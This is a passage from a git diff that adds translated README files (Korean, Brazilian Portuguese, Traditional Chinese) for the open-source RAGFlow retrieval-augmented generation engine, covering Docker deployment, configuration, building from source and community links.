있습니다. +3. [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일에서 원하는 LLM 팩토리를 `user_default_llm`에 선택하고, `API_KEY` 필드를 해당 API 키로 업데이트하세요. + + > 자세한 내용은 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)를 참조하세요. + + _이제 쇼가 시작됩니다!_ + +## 🔧 설정 + +시스템 설정과 관련하여 다음 파일들을 관리해야 합니다: + +- [.env](./docker/.env): `SVR_HTTP_PORT`, `MYSQL_PASSWORD`, `MINIO_PASSWORD`와 같은 시스템의 기본 설정을 포함합니다. +- [service_conf.yaml.template](./docker/service_conf.yaml.template): 백엔드 서비스를 구성합니다. +- [docker-compose.yml](./docker/docker-compose.yml): 시스템은 [docker-compose.yml](./docker/docker-compose.yml)을 사용하여 시작됩니다. + +[.env](./docker/.env) 파일의 변경 사항이 [service_conf.yaml.template](./docker/service_conf.yaml.template) 파일의 내용과 일치하도록 해야 합니다. + +> [./docker/README](./docker/README.md) 파일 ./docker/README은 service_conf.yaml.template 파일에서 ${ENV_VARS}로 사용할 수 있는 환경 설정과 서비스 구성에 대한 자세한 설명을 제공합니다. + +기본 HTTP 서비스 포트(80)를 업데이트하려면 [docker-compose.yml](./docker/docker-compose.yml) 파일에서 `80:80`을 `:80`으로 변경하세요. + +> 모든 시스템 구성 업데이트는 적용되기 위해 시스템 재부팅이 필요합니다. +> +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +### Elasticsearch 에서 Infinity 로 문서 엔진 전환 + +RAGFlow 는 기본적으로 Elasticsearch 를 사용하여 전체 텍스트 및 벡터를 저장합니다. [Infinity]로 전환(https://github.com/infiniflow/infinity/), 다음 절차를 따르십시오. + +1. 실행 중인 모든 컨테이너를 중지합니다. + ```bash + $docker compose-f docker/docker-compose.yml down -v + ``` + Note: `-v` 는 docker 컨테이너의 볼륨을 삭제하고 기존 데이터를 지우며, 이 작업은 컨테이너를 중지하는 것과 동일합니다. +2. **docker/.env**의 "DOC_ENGINE" 을 "infinity" 로 설정합니다. +3. 컨테이너 부팅: + ```bash + $docker compose-f docker/docker-compose.yml up -d + ``` + > [!WARNING] + > Linux/arm64 시스템에서 Infinity로 전환하는 것은 공식적으로 지원되지 않습니다. + +## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함하지 않음) + +이 Docker 이미지의 크기는 약 1GB이며, 외부 대형 모델과 임베딩 서비스에 의존합니다. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 소스 코드로 Docker 이미지를 컴파일합니다(임베딩 모델 포함) + +이 Docker의 크기는 약 9GB이며, 이미 임베딩 모델을 포함하고 있으므로 외부 대형 모델 서비스에만 의존하면 됩니다. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 소스 코드로 서비스를 시작합니다. + +1. `uv` 와 `pre-commit` 을 설치하거나, 이미 설치된 경우 이 단계를 건너뜁니다: + + ```bash + pipx install uv pre-commit + ``` + +2. 소스 코드를 클론하고 Python 의존성을 설치합니다: + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. Docker Compose를 사용하여 의존 서비스(MinIO, Elasticsearch, Redis 및 MySQL)를 시작합니다: + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + `/etc/hosts` 에 다음 줄을 추가하여 **conf/service_conf.yaml** 에 지정된 모든 호스트를 `127.0.0.1` 로 해결합니다: + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +4. HuggingFace에 접근할 수 없는 경우, `HF_ENDPOINT` 환경 변수를 설정하여 미러 사이트를 사용하세요: + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. 만약 운영 체제에 jemalloc이 없으면 다음 방식으로 설치하세요: + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum install jemalloc + # mac + sudo brew install jemalloc + ``` + +6. 백엔드 서비스를 시작합니다: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. 프론트엔드 의존성을 설치합니다: + + ```bash + cd web + npm install + ``` + +8. 프론트엔드 서비스를 시작합니다: + + ```bash + npm run dev + ``` + + _다음 인터페이스는 시스템이 성공적으로 시작되었음을 나타냅니다:_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + + +9. 개발이 완료된 후 RAGFlow 프론트엔드 및 백엔드 서비스를 중지합니다. + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 문서 + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 로드맵 + +[RAGFlow 로드맵 2025](https://github.com/infiniflow/ragflow/issues/4214)을 확인하세요. + +## 🏄 커뮤니티 + +- [Discord](https://discord.gg/NjYzJD3GM3) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 컨트리뷰션 + +RAGFlow는 오픈소스 협업을 통해 발전합니다. 이러한 정신을 바탕으로, 우리는 커뮤니티의 다양한 기여를 환영합니다. 참여하고 싶으시다면, 먼저 [가이드라인](https://ragflow.io/docs/dev/contributing)을 검토해 주세요. diff --git a/README_pt_br.md b/README_pt_br.md new file mode 100644 index 0000000..88c48d2 --- /dev/null +++ b/README_pt_br.md @@ -0,0 +1,392 @@ +
+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體版中文自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + seguir no X(Twitter) + + + Badge Estático + + + docker pull infiniflow/ragflow:v0.20.5 + + + Última Versão + + + licença + + + Ask DeepWiki + +

+ +

+ Documentação | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +
+📕 Índice + +- 💡 [O que é o RAGFlow?](#-o-que-é-o-ragflow) +- 🎮 [Demo](#-demo) +- 📌 [Últimas Atualizações](#-últimas-atualizações) +- 🌟 [Principais Funcionalidades](#-principais-funcionalidades) +- 🔎 [Arquitetura do Sistema](#-arquitetura-do-sistema) +- 🎬 [Primeiros Passos](#-primeiros-passos) +- 🔧 [Configurações](#-configurações) +- 🔧 [Construir uma imagem docker sem incorporar modelos](#-construir-uma-imagem-docker-sem-incorporar-modelos) +- 🔧 [Construir uma imagem docker incluindo modelos](#-construir-uma-imagem-docker-incluindo-modelos) +- 🔨 [Lançar serviço a partir do código-fonte para desenvolvimento](#-lançar-serviço-a-partir-do-código-fonte-para-desenvolvimento) +- 📚 [Documentação](#-documentação) +- 📜 [Roadmap](#-roadmap) +- 🏄 [Comunidade](#-comunidade) +- 🙌 [Contribuindo](#-contribuindo) + +
+ +## 💡 O que é o RAGFlow? + +[RAGFlow](https://ragflow.io/) é um mecanismo de RAG (Retrieval-Augmented Generation) open-source líder que fusiona tecnologias RAG de ponta com funcionalidades Agent para criar uma camada contextual superior para LLMs. Oferece um fluxo de trabalho RAG otimizado adaptável a empresas de qualquer escala. Alimentado por um motor de contexto convergente e modelos Agent pré-construídos, o RAGFlow permite que desenvolvedores transformem dados complexos em sistemas de IA de alta fidelidade e pronto para produção com excepcional eficiência e precisão. + +## 🎮 Demo + +Experimente nossa demo em [https://demo.ragflow.io](https://demo.ragflow.io). + +
+ + +
+ +## 🔥 Últimas Atualizações + +- 08-08-2025 Suporta a mais recente série GPT-5 da OpenAI. +- 04-08-2025 Suporta novos modelos, incluindo Kimi K2 e Grok 4. +- 01-08-2025 Suporta fluxo de trabalho agente e MCP. +- 23-05-2025 Adicione o componente executor de código Python/JS ao Agente. +- 05-05-2025 Suporte a consultas entre idiomas. +- 19-03-2025 Suporta o uso de um modelo multi-modal para entender imagens dentro de arquivos PDF ou DOCX. +- 28-02-2025 combinado com a pesquisa na Internet (T AVI LY), suporta pesquisas profundas para qualquer LLM. +- 18-12-2024 Atualiza o modelo de Análise de Layout de Documentos no DeepDoc. +- 22-08-2024 Suporta conversão de texto para comandos SQL via RAG. + +## 🎉 Fique Ligado + +⭐️ Dê uma estrela no nosso repositório para se manter atualizado com novas funcionalidades e melhorias empolgantes! Receba notificações instantâneas sobre novos lançamentos! 🌟 + +
+ +
+ +## 🌟 Principais Funcionalidades + +### 🍭 **"Qualidade entra, qualidade sai"** + +- Extração de conhecimento baseada em [entendimento profundo de documentos](./deepdoc/README.md) a partir de dados não estruturados com formatos complicados. +- Encontra a "agulha no palheiro de dados" de literalmente tokens ilimitados. + +### 🍱 **Fragmentação baseada em templates** + +- Inteligente e explicável. +- Muitas opções de templates para escolher. + +### 🌱 **Citações fundamentadas com menos alucinações** + +- Visualização da fragmentação de texto para permitir intervenção humana. +- Visualização rápida das referências chave e citações rastreáveis para apoiar respostas fundamentadas. + +### 🍔 **Compatibilidade com fontes de dados heterogêneas** + +- Suporta Word, apresentações, excel, txt, imagens, cópias digitalizadas, dados estruturados, páginas da web e mais. + +### 🛀 **Fluxo de trabalho RAG automatizado e sem esforço** + +- Orquestração RAG simplificada voltada tanto para negócios pessoais quanto grandes empresas. +- Modelos LLM e de incorporação configuráveis. +- Múltiplas recuperações emparelhadas com reclassificação fundida. +- APIs intuitivas para integração sem problemas com os negócios. + +## 🔎 Arquitetura do Sistema + +
+ +
+ +## 🎬 Primeiros Passos + +### 📝 Pré-requisitos + +- CPU >= 4 núcleos +- RAM >= 16 GB +- Disco >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): Necessário apenas se você pretende usar o recurso de executor de código (sandbox) do RAGFlow. + +> [!TIP] +> Se você não instalou o Docker na sua máquina local (Windows, Mac ou Linux), veja [Instalar Docker Engine](https://docs.docker.com/engine/install/). + +### 🚀 Iniciar o servidor + +1. Certifique-se de que `vm.max_map_count` >= 262144: + + > Para verificar o valor de `vm.max_map_count`: + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > Se necessário, redefina `vm.max_map_count` para um valor de pelo menos 262144: + > + > ```bash + > # Neste caso, defina para 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > Essa mudança será resetada após a reinicialização do sistema. Para garantir que a alteração permaneça permanente, adicione ou atualize o valor de `vm.max_map_count` em **/etc/sysctl.conf**: + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. Clone o repositório: + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. Inicie o servidor usando as imagens Docker pré-compiladas: + +> [!CAUTION] +> Todas as imagens Docker são construídas para plataformas x86. Atualmente, não oferecemos imagens Docker para ARM64. +> Se você estiver usando uma plataforma ARM64, por favor, utilize [este guia](https://ragflow.io/docs/dev/build_docker_image) para construir uma imagem Docker compatível com o seu sistema. + + > O comando abaixo baixa a edição `v0.20.5-slim` da imagem Docker do RAGFlow. Consulte a tabela a seguir para descrições de diferentes edições do RAGFlow. Para baixar uma edição do RAGFlow diferente da `v0.20.5-slim`, atualize a variável `RAGFLOW_IMAGE` conforme necessário no **docker/.env** antes de usar `docker compose` para iniciar o servidor. Por exemplo: defina `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` para a edição completa `v0.20.5`. + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | Tag da imagem RAGFlow | Tamanho da imagem (GB) | Possui modelos de incorporação? | Estável? | + | --------------------- | ---------------------- | ------------------------------- | ------------------------ | + | v0.20.5 | ~9 | :heavy_check_mark: | Lançamento estável | + | v0.20.5-slim | ~2 | ❌ | Lançamento estável | + | nightly | ~9 | :heavy_check_mark: | _Instável_ build noturno | + | nightly-slim | ~2 | ❌ | _Instável_ build noturno | + +4. Verifique o status do servidor após tê-lo iniciado: + + ```bash + $ docker logs -f ragflow-server + ``` + + _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_ + + ```bash + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Rodando em todos os endereços (0.0.0.0) + ``` + + > Se você pular essa etapa de confirmação e acessar diretamente o RAGFlow, seu navegador pode exibir um erro `network anormal`, pois, nesse momento, seu RAGFlow pode não estar totalmente inicializado. + +5. No seu navegador, insira o endereço IP do seu servidor e faça login no RAGFlow. + + > Com as configurações padrão, você só precisa digitar `http://IP_DO_SEU_MÁQUINA` (**sem** o número da porta), pois a porta HTTP padrão `80` pode ser omitida ao usar as configurações padrão. + +6. Em [service_conf.yaml.template](./docker/service_conf.yaml.template), selecione a fábrica LLM desejada em `user_default_llm` e atualize o campo `API_KEY` com a chave de API correspondente. + + > Consulte [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) para mais informações. + +_O show está no ar!_ + +## 🔧 Configurações + +Quando se trata de configurações do sistema, você precisará gerenciar os seguintes arquivos: + +- [.env](./docker/.env): Contém as configurações fundamentais para o sistema, como `SVR_HTTP_PORT`, `MYSQL_PASSWORD` e `MINIO_PASSWORD`. +- [service_conf.yaml.template](./docker/service_conf.yaml.template): Configura os serviços de back-end. As variáveis de ambiente neste arquivo serão automaticamente preenchidas quando o contêiner Docker for iniciado. Quaisquer variáveis de ambiente definidas dentro do contêiner Docker estarão disponíveis para uso, permitindo personalizar o comportamento do serviço com base no ambiente de implantação. +- [docker-compose.yml](./docker/docker-compose.yml): O sistema depende do [docker-compose.yml](./docker/docker-compose.yml) para iniciar. + +> O arquivo [./docker/README](./docker/README.md) fornece uma descrição detalhada das configurações do ambiente e dos serviços, que podem ser usadas como `${ENV_VARS}` no arquivo [service_conf.yaml.template](./docker/service_conf.yaml.template). + +Para atualizar a porta HTTP de serviço padrão (80), vá até [docker-compose.yml](./docker/docker-compose.yml) e altere `80:80` para `:80`. + +Atualizações nas configurações acima exigem um reinício de todos os contêineres para que tenham efeito: + +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +### Mudar o mecanismo de documentos de Elasticsearch para Infinity + +O RAGFlow usa o Elasticsearch por padrão para armazenar texto completo e vetores. Para mudar para o [Infinity](https://github.com/infiniflow/infinity/), siga estas etapas: + +1. Pare todos os contêineres em execução: + + ```bash + $ docker compose -f docker/docker-compose.yml down -v + ``` + Note: `-v` irá deletar os volumes do contêiner, e os dados existentes serão apagados. +2. Defina `DOC_ENGINE` no **docker/.env** para `infinity`. + +3. Inicie os contêineres: + + ```bash + $ docker compose -f docker-compose.yml up -d + ``` + +> [!ATENÇÃO] +> A mudança para o Infinity em uma máquina Linux/arm64 ainda não é oficialmente suportada. + +## 🔧 Criar uma imagem Docker sem modelos de incorporação + +Esta imagem tem cerca de 2 GB de tamanho e depende de serviços externos de LLM e incorporação. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 Criar uma imagem Docker incluindo modelos de incorporação + +Esta imagem tem cerca de 9 GB de tamanho. Como inclui modelos de incorporação, depende apenas de serviços externos de LLM. + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 Lançar o serviço a partir do código-fonte para desenvolvimento + +1. Instale o `uv` e o `pre-commit`, ou pule esta etapa se eles já estiverem instalados: + + ```bash + pipx install uv pre-commit + ``` + +2. Clone o código-fonte e instale as dependências Python: + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # instala os módulos Python dependentes do RAGFlow + uv run download_deps.py + pre-commit install + ``` + +3. Inicie os serviços dependentes (MinIO, Elasticsearch, Redis e MySQL) usando Docker Compose: + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + Adicione a seguinte linha ao arquivo `/etc/hosts` para resolver todos os hosts especificados em **docker/.env** para `127.0.0.1`: + + ``` + 127.0.0.1 es01 infinity mysql minio redis sandbox-executor-manager + ``` + +4. Se não conseguir acessar o HuggingFace, defina a variável de ambiente `HF_ENDPOINT` para usar um site espelho: + + ```bash + export HF_ENDPOINT=https://hf-mirror.com + ``` + +5. Se o seu sistema operacional não tiver jemalloc, instale-o da seguinte maneira: + + ```bash + # ubuntu + sudo apt-get install libjemalloc-dev + # centos + sudo yum instalar jemalloc + # mac + sudo brew install jemalloc + ``` + +6. Lance o serviço de back-end: + + ```bash + source .venv/bin/activate + export PYTHONPATH=$(pwd) + bash docker/launch_backend_service.sh + ``` + +7. Instale as dependências do front-end: + + ```bash + cd web + npm install + ``` + +8. Lance o serviço de front-end: + + ```bash + npm run dev + ``` + + _O seguinte resultado confirma o lançamento bem-sucedido do sistema:_ + + ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187) + +9. Pare os serviços de front-end e back-end do RAGFlow após a conclusão do desenvolvimento: + + ```bash + pkill -f "ragflow_server.py|task_executor.py" + ``` + + +## 📚 Documentação + +- [Quickstart](https://ragflow.io/docs/dev/) +- [Configuration](https://ragflow.io/docs/dev/configurations) +- [Release notes](https://ragflow.io/docs/dev/release_notes) +- [User guides](https://ragflow.io/docs/dev/category/guides) +- [Developer guides](https://ragflow.io/docs/dev/category/developers) +- [References](https://ragflow.io/docs/dev/category/references) +- [FAQs](https://ragflow.io/docs/dev/faq) + +## 📜 Roadmap + +Veja o [RAGFlow Roadmap 2025](https://github.com/infiniflow/ragflow/issues/4214) + +## 🏄 Comunidade + +- [Discord](https://discord.gg/NjYzJD3GM3) +- [Twitter](https://twitter.com/infiniflowai) +- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions) + +## 🙌 Contribuindo + +O RAGFlow prospera por meio da colaboração de código aberto. Com esse espírito, abraçamos contribuições diversas da comunidade. +Se você deseja fazer parte, primeiro revise nossas [Diretrizes de Contribuição](https://ragflow.io/docs/dev/contributing). diff --git a/README_tzh.md b/README_tzh.md new file mode 100644 index 0000000..4a95be1 --- /dev/null +++ b/README_tzh.md @@ -0,0 +1,417 @@ +
+ +ragflow logo + +
+ +

+ README in English + 简体中文版自述文件 + 繁體版中文自述文件 + 日本語のREADME + 한국어 + Bahasa Indonesia + Português(Brasil) +

+ +

+ + follow on X(Twitter) + + + Static Badge + + + docker pull infiniflow/ragflow:v0.20.5 + + + Latest Release + + + license + + + Ask DeepWiki + +

+ +

+ Document | + Roadmap | + Twitter | + Discord | + Demo +

+ +# + +
+infiniflow%2Fragflow | Trendshift +
+ +
+📕 目錄 + +- 💡 [RAGFlow 是什麼？](#-RAGFlow-是什麼) +- 🎮 [Demo-試用](#-demo-試用) +- 📌 [近期更新](#-近期更新) +- 🌟 [主要功能](#-主要功能) +- 🔎 [系統架構](#-系統架構) +- 🎬 [快速開始](#-快速開始) +- 🔧 [系統配置](#-系統配置) +- 🔨 [以原始碼啟動服務](#-以原始碼啟動服務) +- 📚 [技術文檔](#-技術文檔) +- 📜 [路線圖](#-路線圖) +- 🏄 [貢獻指南](#-貢獻指南) +- 🙌 [加入社區](#-加入社區) +- 🤝 [商務合作](#-商務合作) + +
+ +## 💡 RAGFlow 是什麼？ + +[RAGFlow](https://ragflow.io/) 是一款領先的開源 RAG（Retrieval-Augmented Generation）引擎，通過融合前沿的 RAG 技術與 Agent 能力，為大型語言模型提供卓越的上下文層。它提供可適配任意規模企業的端到端 RAG 工作流，憑藉融合式上下文引擎與預置的 Agent 模板，助力開發者以極致效率與精度將複雜數據轉化為高可信、生產級的人工智能系統。 + +## 🎮 Demo 試用 + +請登入網址 [https://demo.ragflow.io](https://demo.ragflow.io) 試用 demo。 + +
+ + +
+ +## 🔥 近期更新 + +- 2025-08-08 支援 OpenAI 最新的 GPT-5 系列模型。 +- 2025-08-04 支援 Kimi K2 和 Grok 4 等模型. +- 2025-08-01 支援 agentic workflow 和 MCP +- 2025-05-23 為 Agent 新增 Python/JS 程式碼執行器元件。 +- 2025-05-05 支援跨語言查詢。 +- 2025-03-19 PDF和DOCX中的圖支持用多模態大模型去解析得到描述. +- 2025-02-28 結合網路搜尋（Tavily），對於任意大模型實現類似 Deep Research 的推理功能. +- 2024-12-18 升級了 DeepDoc 的文檔佈局分析模型。 +- 2024-08-22 支援用 RAG 技術實現從自然語言到 SQL 語句的轉換。 + +## 🎉 關注項目 + +⭐️ 點擊右上角的 Star 追蹤 RAGFlow，可以取得最新發布的即時通知 !🌟 + +
+ +
+ +## 🌟 主要功能 + +### 🍭 **"Quality in, quality out"** + +- 基於[深度文件理解](./deepdoc/README.md)，能夠從各類複雜格式的非結構化資料中提取真知灼見。 +- 真正在無限上下文（token）的場景下快速完成大海撈針測試。 + +### 🍱 **基於模板的文字切片** + +- 不只是智能，更重要的是可控可解釋。 +- 多種文字範本可供選擇 + +### 🌱 **有理有據、最大程度降低幻覺（hallucination）** + +- 文字切片過程視覺化，支援手動調整。 +- 有理有據：答案提供關鍵引用的快照並支持追根溯源。 + +### 🍔 **相容各類異質資料來源** + +- 支援豐富的文件類型，包括 Word 文件、PPT、excel 表格、txt 檔案、圖片、PDF、影印件、影印件、結構化資料、網頁等。 + +### 🛀 **全程無憂、自動化的 RAG 工作流程** + +- 全面優化的 RAG 工作流程可以支援從個人應用乃至超大型企業的各類生態系統。 +- 大語言模型 LLM 以及向量模型皆支援配置。 +- 基於多路召回、融合重排序。 +- 提供易用的 API，可輕鬆整合到各類企業系統。 + +## 🔎 系統架構 + +
+ +
+ +## 🎬 快速開始 + +### 📝 前提條件 + +- CPU >= 4 核 +- RAM >= 16 GB +- Disk >= 50 GB +- Docker >= 24.0.0 & Docker Compose >= v2.26.1 +- [gVisor](https://gvisor.dev/docs/user_guide/install/): 僅在您打算使用 RAGFlow 的代碼執行器（沙箱）功能時才需要安裝。 + +> [!TIP] +> 如果你並沒有在本機安裝 Docker（Windows、Mac，或 Linux）, 可以參考文件 [Install Docker Engine](https://docs.docker.com/engine/install/) 自行安裝。 + +### 🚀 啟動伺服器 + +1. 確保 `vm.max_map_count` 不小於 262144： + + > 如需確認 `vm.max_map_count` 的大小： + > + > ```bash + > $ sysctl vm.max_map_count + > ``` + > + > 如果 `vm.max_map_count` 的值小於 262144，可以進行重設： + > + > ```bash + > # 這裡我們設為 262144: + > $ sudo sysctl -w vm.max_map_count=262144 + > ``` + > + > 你的改動會在下次系統重新啟動時被重置。如果希望做永久改動，還需要在 **/etc/sysctl.conf** 檔案裡把 `vm.max_map_count` 的值再相應更新一遍： + > + > ```bash + > vm.max_map_count=262144 + > ``` + +2. 克隆倉庫： + + ```bash + $ git clone https://github.com/infiniflow/ragflow.git + ``` + +3. 進入 **docker** 資料夾，利用事先編譯好的 Docker 映像啟動伺服器： + +> [!CAUTION] +> 所有 Docker 映像檔都是為 x86 平台建置的。目前，我們不提供 ARM64 平台的 Docker 映像檔。 +> 如果您使用的是 ARM64 平台，請使用 [這份指南](https://ragflow.io/docs/dev/build_docker_image) 來建置適合您系統的 Docker 映像檔。 + + > 執行以下指令會自動下載 RAGFlow slim Docker 映像 `v0.20.5-slim`。請參考下表查看不同 Docker 發行版的說明。如需下載不同於 `v0.20.5-slim` 的 Docker 映像，請在執行 `docker compose` 啟動服務之前先更新 **docker/.env** 檔案內的 `RAGFLOW_IMAGE` 變數。例如，你可以透過設定 `RAGFLOW_IMAGE=infiniflow/ragflow:v0.20.5` 來下載 RAGFlow 鏡像的 `v0.20.5` 完整發行版。 + + ```bash + $ cd ragflow/docker + # Use CPU for embedding and DeepDoc tasks: + $ docker compose -f docker-compose.yml up -d + + # To use GPU to accelerate embedding and DeepDoc tasks: + # docker compose -f docker-compose-gpu.yml up -d + ``` + + | RAGFlow image tag | Image size (GB) | Has embedding models? | Stable? | + | ----------------- | --------------- | --------------------- | ------------------------ | + | v0.20.5 | ≈9 | :heavy_check_mark: | Stable release | + | v0.20.5-slim | ≈2 | ❌ | Stable release | + | nightly | ≈9 | :heavy_check_mark: | _Unstable_ nightly build | + | nightly-slim | ≈2 | ❌ | _Unstable_ nightly build | + + > [!TIP] + > 如果你遇到 Docker 映像檔拉不下來的問題，可以在 **docker/.env** 檔案內根據變數 `RAGFLOW_IMAGE` 的註解提示選擇華為雲或阿里雲的對應映像。 + > + > - 華為雲鏡像名：`swr.cn-north-4.myhuaweicloud.com/infiniflow/ragflow` + > - 阿里雲鏡像名：`registry.cn-hangzhou.aliyuncs.com/infiniflow/ragflow` + +4. 伺服器啟動成功後再次確認伺服器狀態： + + ```bash + $ docker logs -f ragflow-server + ``` + + _出現以下介面提示說明伺服器啟動成功：_ + + ```bash + ____ ___ ______ ______ __ + / __ \ / | / ____// ____// /____ _ __ + / /_/ // /| | / / __ / /_ / // __ \| | /| / / + / _, _// ___ |/ /_/ // __/ / // /_/ /| |/ |/ / + /_/ |_|/_/ |_|\____//_/ /_/ \____/ |__/|__/ + + * Running on all addresses (0.0.0.0) + ``` + + > 如果您跳過這一步驟系統確認步驟就登入 RAGFlow，你的瀏覽器有可能會提示 `network anormal` 或 `網路異常`，因為 RAGFlow 可能並未完全啟動成功。 + +5. 在你的瀏覽器中輸入你的伺服器對應的 IP 位址並登入 RAGFlow。 + > 上面這個範例中，您只需輸入 http://IP_OF_YOUR_MACHINE 即可：未改動過設定則無需輸入連接埠（預設的 HTTP 服務連接埠 80）。 +6. 在 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案的 `user_default_llm` 欄位設定 LLM factory，並在 `API_KEY` 欄填入和你選擇的大模型相對應的 API key。 + + > 詳見 [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup)。 + + _好戲開始，接著奏樂接著舞！ _ + +## 🔧 系統配置 + +系統配置涉及以下三份文件： + +- [.env](./docker/.env)：存放一些系統環境變量，例如 `SVR_HTTP_PORT`、`MYSQL_PASSWORD`、`MINIO_PASSWORD` 等。 +- [service_conf.yaml.template](./docker/service_conf.yaml.template)：設定各類別後台服務。 +- [docker-compose.yml](./docker/docker-compose.yml): 系統依賴該檔案完成啟動。 + +請務必確保 [.env](./docker/.env) 檔案中的變數設定與 [service_conf.yaml.template](./docker/service_conf.yaml.template) 檔案中的設定保持一致！ + +如果無法存取映像網站 hub.docker.com 或模型網站 huggingface.co，請依照 [.env](./docker/.env) 註解修改 `RAGFLOW_IMAGE` 和 `HF_ENDPOINT`。 + +> [./docker/README](./docker/README.md) 解釋了 [service_conf.yaml.template](./docker/service_conf.yaml.template) 用到的環境變數設定和服務配置。 + +如需更新預設的 HTTP 服務連接埠(80), 可以在[docker-compose.yml](./docker/docker-compose.yml) 檔案中將配置`80:80` 改為`:80` 。 + +> 所有系統配置都需要透過系統重新啟動生效： +> +> ```bash +> $ docker compose -f docker-compose.yml up -d +> ``` + +###把文檔引擎從 Elasticsearch 切換成為 Infinity + +RAGFlow 預設使用 Elasticsearch 儲存文字和向量資料. 如果要切換為 [Infinity](https://github.com/infiniflow/infinity/), 可以按照下面步驟進行: + +1. 停止所有容器運作: + + ```bash + $ docker compose -f docker/docker-compose.yml down -v + ``` + Note: `-v` 將會刪除 docker 容器的 volumes，已有的資料會被清空。 + +2. 設定 **docker/.env** 目錄中的 `DOC_ENGINE` 為 `infinity`. + +3. 啟動容器: + + ```bash + $ docker compose -f docker-compose.yml up -d + ``` + +> [!WARNING] +> Infinity 目前官方並未正式支援在 Linux/arm64 架構下的機器上運行. + +## 🔧 原始碼編譯 Docker 映像（不含 embedding 模型） + +本 Docker 映像大小約 2 GB 左右並且依賴外部的大模型和 embedding 服務。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg LIGHTEN=1 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly-slim . +``` + +## 🔧 原始碼編譯 Docker 映像（包含 embedding 模型） + +本 Docker 大小約 9 GB 左右。由於已包含 embedding 模型，所以只需依賴外部的大模型服務即可。 + +```bash +git clone https://github.com/infiniflow/ragflow.git +cd ragflow/ +docker build --platform linux/amd64 --build-arg NEED_MIRROR=1 -f Dockerfile -t infiniflow/ragflow:nightly . +``` + +## 🔨 以原始碼啟動服務 + +1. 安裝 `uv` 和 `pre-commit`。如已安裝，可跳過此步驟： + + ```bash + pipx install uv pre-commit + export UV_INDEX=https://mirrors.aliyun.com/pypi/simple + ``` + +2. 下載原始碼並安裝 Python 依賴： + + ```bash + git clone https://github.com/infiniflow/ragflow.git + cd ragflow/ + uv sync --python 3.10 --all-extras # install RAGFlow dependent python modules + uv run download_deps.py + pre-commit install + ``` + +3. 透過 Docker Compose 啟動依賴的服務（MinIO, Elasticsearch, Redis, and MySQL）： + + ```bash + docker compose -f docker/docker-compose-base.yml up -d + ``` + + 在 `/etc/hosts` 中加入以下程式碼，將 **conf/service_conf.yaml** 檔案中的所有 host 位址都解析為 `127.0.0.1`： + + ``` + 127.0.0.1 es01 infinity mysql minio redis 